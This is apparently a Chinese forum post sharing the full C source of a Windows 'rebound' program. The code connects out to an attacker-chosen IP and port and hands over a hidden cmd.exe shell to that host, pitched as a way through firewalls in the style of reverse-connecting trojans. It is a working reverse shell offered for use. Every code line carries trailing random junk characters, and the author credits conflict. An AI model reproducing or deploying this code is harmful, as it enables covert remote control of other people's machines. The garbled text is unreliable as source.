这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jR=s#Xz
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/* ============================== 5tQ1fJze
Rebound port in Windows NT xw{-9k-~
By wind,2006/7 V)Z70J<'
===============================*/ ) 9,
#include Ehzo05/!
#include 2|\A7.
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#pragma comment(lib,"wsock32.lib") 9a'-Y
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void OutputShell(); b~dIk5>O
SOCKET sClient; P"sA
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'B+ ' (f
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void main(int argc,char **argv) kyR*D1N&)
{ zByT$P-
WSADATA stWsaData; t1E[uu ,V8
int nRet; rD>*j~_+P
SOCKADDR_IN stSaiClient,stSaiServer; =PGs{?+&O
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if(argc != 3) ;?C#IU
{ <dyewy*.L
printf("Useage:\n\rRebound DestIP DestPort\n"); cqxVAzb
return; x8GJY~:SW
} Y8flrM2CwG
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WSAStartup(MAKEWORD(2,2),&stWsaData); @F(mi1QO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8enEA^
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stSaiClient.sin_family = AF_INET; 0'nikLaKy
stSaiClient.sin_port = htons(0); \"hJCP?,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fhB}9i^]tg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GfC5z n>
{ !?Wp+e6
printf("Bind Socket Failed!\n"); !A48TgAeE
return; /dnCwFXf
} \W1/p`
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stSaiServer.sin_family = AF_INET; HaIM#R32T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,AT[@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v+99
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I!^O)4QRx
{ w3$
printf("Connect Error!"); #:SNHM^><
return; ToYAW,U[d
} \6\<~UX^
OutputShell(); w6j/ Dq!
} m# =z7.XrX
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void OutputShell() 43=,yz2Ef
{ G}p\8Q}'
char szBuff[1024]; Pi|o` d
SECURITY_ATTRIBUTES stSecurityAttributes; mkR2i>
OSVERSIONINFO stOsversionInfo; f7}*X|_Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /t(C>$ }p
STARTUPINFO stStartupInfo; #Qkroji
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char *szShell; aM;W$1h
PROCESS_INFORMATION stProcessInformation; /7
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unsigned long lBytesRead; sq'Pyz[[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M+x,opl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :<|<|qJWo
stSecurityAttributes.lpSecurityDescriptor = 0; ccL~#c0P7
stSecurityAttributes.bInheritHandle = TRUE; &y#r;L<9
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\nP>:5E1
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0P]E6hWgg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XO'l Nb.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,#8e_3Z$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [n/hkXa$\
stStartupInfo.wShowWindow = SW_HIDE; LlSZr)X
stStartupInfo.hStdInput = hReadPipe; v~Y^r2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :GJ &_YHf
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GetVersionEx(&stOsversionInfo); 5>TK^1
:
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switch(stOsversionInfo.dwPlatformId) k]I0o)+O.
{ nb>7UN.9
case 1: &ZQJ>#~j^
szShell = "command.com"; _H/8_[xk
break; mbueP.q[?
default: NrJKbk^4u/
szShell = "cmd.exe"; 9cj9SB4
break; to$h2#i_
} @qHNE,K
z+>}RT]
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s
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send(sClient,szMsg,77,0); 3F<VH
while(1) E)fglYWs2
{ UMcgdJB
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xoR;=ph
if(lBytesRead) Kc^;vT>3
{ z'EajBB\f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }O4^Cc6
send(sClient,szBuff,lBytesRead,0); _Wa.JUbv
} SE~[bT
else RSfzRnhmr
{ qm8&*UuKJ
lBytesRead=recv(sClient,szBuff,1024,0); c*@E_}C#
if(lBytesRead<=0) break; mFZ?hOyP.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ksN+?E4w
} hHMN6i
} %V ;?
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return; !!? Mw
}